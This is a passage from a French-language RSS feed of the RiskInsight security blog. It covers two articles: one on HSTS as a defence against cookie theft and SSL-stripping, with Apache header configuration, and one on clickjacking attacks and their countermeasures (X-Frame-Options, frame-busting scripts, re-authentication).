<p>Il arrive fréquemment que seule une partie des requêtes au serveur web soient chiffrées, par exemple l’authentification. Une fois authentifié, les requêtes suivantes sont en clair. Un attaquant capable d’intercepter les flux réseau (sur un Wifi ouvert, au <em>Starbucks</em>, par exemple), pourra alors analyser les requêtes non-chiffrées, qui contiennent les cookies de session de l’utilisateur. Il pourra ainsi usurper son identité.</p>
<ul>
<li><strong>Attaques réseau actives pour détourner le trafic et l’intercepter</strong></li>
</ul>
<p>Il n’est pas rare de rencontrer des sites proposant une connexion sécurisée mais également une connexion HTTP traditionnelle. Il est alors possible, pour un attaquant capable d’intercepter les flux réseau, de modifier à la volée les données envoyées par le site et de remplacer les liens « <strong><em>https://</em></strong><em>www.site.com</em> » par des liens vers la version en clair « <strong><em>http://</em></strong><em>www.site.com</em> ». Des outils permettent d’automatiser cette tâche, comme <a href="http://www.thoughtcrime.org/software/sslstrip">sslstrip</a> : à nouveau l’attaquant pourra intercepter les cookies et usurper l’identité de la victime. L’attaquant pourrait aussi bien tenter de faire accepter à l’utilisateur un certificat invalide, afin de pouvoir déchiffrer les échanges SSL à la volée.</p>
<ul>
<li><strong>Erreurs de développement</strong></li>
</ul>
<p>Il est également possible que, volontairement ou non, certaines requêtes soient effectuées en clair, par exemple pour charger des images ou un contenu vidéo. Si les images sont hébergées sur le même serveur, les cookies seront envoyés avec la requête et là encore, l’attaquant pourra dérober les cookies et usurper l’identité de la victime.</p>
<h2>La solution proposée par HSTS : forcer l’utilisation de HTTPS</h2>
<p>HSTS se propose de parer à ce type d’attaques en permettant aux sites web d’indiquer au navigateur qu’il ne doit accepter d’ouvrir que des liens HTTPS vers ce site.</p>
<p>Pour cela, un en-tête HTTP spécifique doit être envoyé au navigateur, qui n’acceptera alors que des liens https:// pour le site en question, et ce pour un temps donné.</p>
<p>De plus, si une erreur de validation de certificat survenait, le navigateur refuserait d’ouvrir la page en question ; en cas d’utilisation de HSTS, l’utilisateur n’a plus la possibilité de passer outre un message d’erreur de validation du certificat : voilà une avancée judicieuse ! HSTS permet donc un premier niveau de protection contre les attaques de type Man-in-the-middle (homme du milieu).</p>
<h2>Implémenter HSTS en ajoutant les bons en-têtes</h2>
<p>La syntaxe de l’en-tête HTTP est la suivante :</p>
<pre><span style="background-color: #c0c0c0; color: #000000;">Strict-Transport-Security: max-age=XXX; includeSubDomains</span></pre>
<p>&nbsp;</p>
<p>Où :</p>
<ul>
<li>Strict-Transport-Security : indique l’utilisation de HSTS</li>
<li>max-age= : définit la période durant laquelle le navigateur doit forcer l’utilisation de HTTPS, en secondes</li>
<li>includeSubdomains : permet d’indiquer que la politique s’applique également à l’ensemble des sous-domaines ; cette directive est optionnelle</li>
</ul>
<p>Dans le cas d’un serveur web Apache, il convient d’insérer les commandes suivantes dans la configuration du site :</p>
<pre><span style="color: #000000; background-color: #c0c0c0;">Header set Strict-Transport-Security "max-age=XXX"</span></pre>
<pre><span style="color: #000000; background-color: #c0c0c0;">Header append Strict-Transport-Security includeSubDomains</span></pre>
<p>&nbsp;</p>
<p>Il est également conseillé de paramétrer la directive « max-age » de manière dynamique, de façon à la faire coïncider avec la date d’expiration du certificat</p>
<p>HSTS recommande également l’utilisation d’une liste prédéfinie de domaine HSTS par les navigateurs (comme Gmail, Facebook, etc …). Ainsi, on couvre le risque de la première connexion non-chiffrée.</p>
<p>Il est important de noter que les en-têtes HSTS ne sont pris en compte par les navigateurs que si le certificat présenté par le site est signé par une autorité de certification racine présente dans le magasin de certificats, excluant de fait le cas des certificats auto-signés.</p>
<h2>Tous les navigateurs sont-ils compatibles HSTS ?</h2>
<p>Les mécanismes HSTS sont supportés depuis plusieurs années par Chrome, Firefox et Opéra, qui intègrent désormais une liste par défaut de sites HSTS.</p>
<p>En revanche, les navigateurs Internet Explorer de Microsoft et Safari d’Apple sont à la traîne et n’implémentent pas encore ces protections.</p>
<p>HSTS apporte donc une avancée significative dans la sécurisation des échanges sur Internet, et ce de manière transparente pour le grand public. En imposant la sécurité (en ne leur proposant pas d’accepter un certificat invalide), on se prémunit d’un maillon faible, l’utilisateur, qui peut permettre la réalisation d’attaques de type man-in-the-middle comme ce fut récemment le cas pour le site Github en Chine.</p>
<p>Cependant, d’autres menaces subsistent : on pense notamment aux fréquentes faiblesses dans le choix des protocoles et algorithmes de chiffrement. De plus, la problématique des autorités de certification, qui sont garantes des identités sur internet, reste ouverte, comme le rappellent les cas de Diginotar ou plus récemment de <a href="https://blog.mozilla.org/security/2013/01/03/revoking-trust-in-two-turktrust-certficates/">Turktrust</a>.</p>
<p>La sécurisation des échanges sur internet reste une problématique qui requiert de l’expertise dans son implémentation, ainsi que des contrôles réguliers pour assurer la confidentialité et l’intégrité des données échangées vis-à-vis des nouvelles menaces.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/02/http-strict-transport-policy-une-avancee-dans-la-securisation-des-echanges-sur-internet/">HTTP Strict Transport Policy, une avancée dans la sécurisation des échanges sur Internet ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Clickjacking, mais qui a volé ma souris ?</title>
		<link>https://www.riskinsight-wavestone.com/en/2012/12/clickjacking-mais-qui-a-vole-ma-souris/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 26 Dec 2012 10:46:41 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Cybercriminalité]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[réseaux sociaux]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=2761</guid>

					<description><![CDATA[<p>Le clickjacking, ou « détournement de clic », est un terme apparu en 2008 pour désigner un type d’attaque ciblant les applications web. Ces attaques visent à tromper l’utilisateur sur l’élément sur lequel il clique, permettant in fine de lui faire réaliser...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2012/12/clickjacking-mais-qui-a-vole-ma-souris/">Clickjacking, mais qui a volé ma souris ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Le <em>clickjacking, </em>ou<em> « détournement de clic »,</em> est un terme apparu en 2008 pour désigner un type d’attaque ciblant les applications web. Ces attaques visent à tromper l’utilisateur sur l’élément sur lequel il clique, permettant <em>in fine</em> de lui faire réaliser des actions à son insu.</p>
<h2>Comment se fait-on <em>clickjacker</em> ?</h2>
<p>Pour mener une attaque par <em>clickjacking</em>, un attaquant va procéder de la manière suivante :</p>
<p>1- Il identifie sa cible, une page non-protégée contre ce type d’attaque, qui permet de réaliser une action en cliquant sur un lien ou un bouton.</p>
<p>2- Il intègre cette page dans une page malveillante qu’il maîtrise</p>
<p>3- Il s’arrange pour que, lorsque la victime clique sur un élément de la page, elle clique en réalité sur un bouton ou un lien provenant du site vulnérable</p>
<p><a href="http://www.solucominsight.fr/2012/12/clickjacking-mais-qui-a-vole-ma-souris/clickjacking-image/" rel="attachment wp-att-2767"><img loading="lazy" decoding="async" class="alignleft  wp-image-2767" title="clickjacking image" src="http://www.solucominsight.fr/wp-content/uploads/2012/12/clickjacking-image.jpg" alt="" width="429" height="291" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2012/12/clickjacking-image.jpg 453w, https://www.riskinsight-wavestone.com/wp-content/uploads/2012/12/clickjacking-image-282x191.jpg 282w, https://www.riskinsight-wavestone.com/wp-content/uploads/2012/12/clickjacking-image-58x39.jpg 58w" sizes="auto, (max-width: 429px) 100vw, 429px" /></a></p>
<p>Par exemple, il peut utiliser les propriétés de style offerte par HTML/CSS pour rendre transparente la page vulnérable. Dans l’exemple ci-dessus, l’utilisateur verra le bouton « Jouer ! » mais cliquera en réalité sur le « Bouton 1 », provenant d’un site différent !</p>
<p>Les exemples les plus fréquents d’attaque par <em>clickjacking</em> sont les “<em>likejacking</em>” et “<em>tweetbomb</em>”. La première, ciblant le réseau social, a pour objectif de faire « <em>liker</em> » une page, c’est-à-dire d’augmenter sa popularité. La seconde vise à diffuser sur Twitter un message, la plupart du temps publicitaire.</p>
<h2>Les risques se limitent-ils aux réseaux sociaux ?</h2>
<p>Mais non ! Il est important de noter que les enjeux liés à ce type d’attaques ne s’arrêtent pas à la pollution de réseaux sociaux. De même que les attaques par <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">rejeu de requête (XSRF),</a>  les attaques par <em>clickjacking</em> permettent d’exécuter des actions à l’insu de la victime.</p>
<p>Il est donc tout à fait imaginable d’employer ce type d’attaque afin, par exemple, d’ajouter des articles dans le panier des clients d’un site de e-commerce. Pour cela, il suffirait à l’attaquant de reprendre le scénario précédent, mais de remplacer les boutons « <em>like</em> » de Facebook par le bouton « Ajouter au panier » du site e-commerce. L’attaquant pourrait augmenter grandement les ventes de son produit !</p>
<h2> Comment se protéger efficacement ?</h2>
<p>La protection contre ce type d’attaques est à considérer du double point de vue de l’utilisateur et du responsable du site internet qui sert &#8211; involontairement &#8211; de support à l’attaque. La protection idéale nécessite donc sensibilisation et moyens techniques.</p>
<p>Pour les utilisateurs finaux en effet, se protéger implique d’avoir conscience du risque et de faire preuve de vigilance en surveillant ses fréquentations sur le web ! Il convient de rester méfiant à l’égard des liens commerciaux et des jeux ou concours qui promettent monts et merveilles.</p>
<p>Pour les équipes en charge de la sécurité des applications web, deux éléments sont à considérer pour mitiger le risque lié au <em>clickjacking </em>: l’utilisation d’en-têtes http spécifiques, et l’emploi de protections en JavaScript.</p>
<h4> Utiliser les en-têtes http appropriés pour se protéger</h4>
<p>Il est d’une part possible d’utiliser l’en-tête http<a href="http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-01" target="_blank" rel="noopener noreferrer"> « X-FRAME-OPTIONS »</a>, qui va indiquer au navigateur à quelles conditions le contenu du site peut être intégré dans une iframe. Il est possible de lui spécifier trois valeurs :</p>
<ul>
<li>« DENY », qui va interdire l’inclusion de la page ;</li>
<li>« SAMEORIGIN », qui va autoriser uniquement les sites du même domaine à inclure la page ;</li>
<li>« ALLOW-FROM », qui permet de spécifier le ou les domaines autorisés à inclure la page.</li>
</ul>
<h4>Utiliser JavaScript pour s’assurer que ses pages ne sont pas dissimulées</h4>
<p>En complément, il est possible d’utiliser du code JavaScript pour se protéger. Pour cela, ces codes vont par exemple s’assurer que la page est bien au niveau supérieur et qu’elle sera visible. Il faut néanmoins reconnaître qu’aucun de ces codes n’est totalement fiable.</p>
<p>Pour des informations détaillées sur les implémentations de ces protections, <a href="https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet" target="_blank" rel="noopener noreferrer">le site de l’OWASP propose une page dédiée </a>à ce sujet.</p>
<h4>La réauthentification, meilleure arme de protection pour les actions sensibles</h4>
<p>La solution la plus efficace reste de ré-authentifier l’utilisateur pour les actions sensibles, par exemple en lui redemandant son mot de passe ou en utilisant un second facteur d’authentification, comme cela est l’usage sur les sites de banque en ligne.</p>
<h2>Ces protections sont-elles couramment déployées ?</h2>
<p>En un mot : non. Malheureusement, ce type d’attaque n’est toujours pas, 4 ans après leur découverte, pris au sérieux par la plupart des développeurs / testeurs / équipes de sécurité, sans doute car elles n’ont pour l’instant pas été exploitées à grande échelle en dehors des réseaux sociaux.</p>
<p>Selon un article publié récemment sur <a href="https://community.qualys.com/blogs/securitylabs/2012/11/29/clickjacking-an-overlooked-web-security-hole" target="_blank" rel="noopener noreferrer">le blog de Qualys</a>, les protections standards décrites ci-dessus ne sont ainsi pas encore déployées systématiquement : près de 70% des 20 sites bancaires les plus fréquentés n’implémentent pas de protection efficace contre ce type d’attaque.</p>
<p>Il est fort à parier que l’emploi de ce type d’attaque va augmenter et se diversifier à l’avenir.  En effet, les mesures de protection contre les attaques par <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">rejeu de requête (XSRF)</a> se généralisant, notamment par leur intégration dans les frameworks de développement, les attaquants se tourneront mécaniquement vers d’autres vulnérabilités, dont le <em>clickjacking</em>. Anticiper dès à présent  reste le moyen le plus sûr d’éviter d’en être la victime.</p>
<p>&nbsp;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2012/12/clickjacking-mais-qui-a-vole-ma-souris/">Clickjacking, mais qui a volé ma souris ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
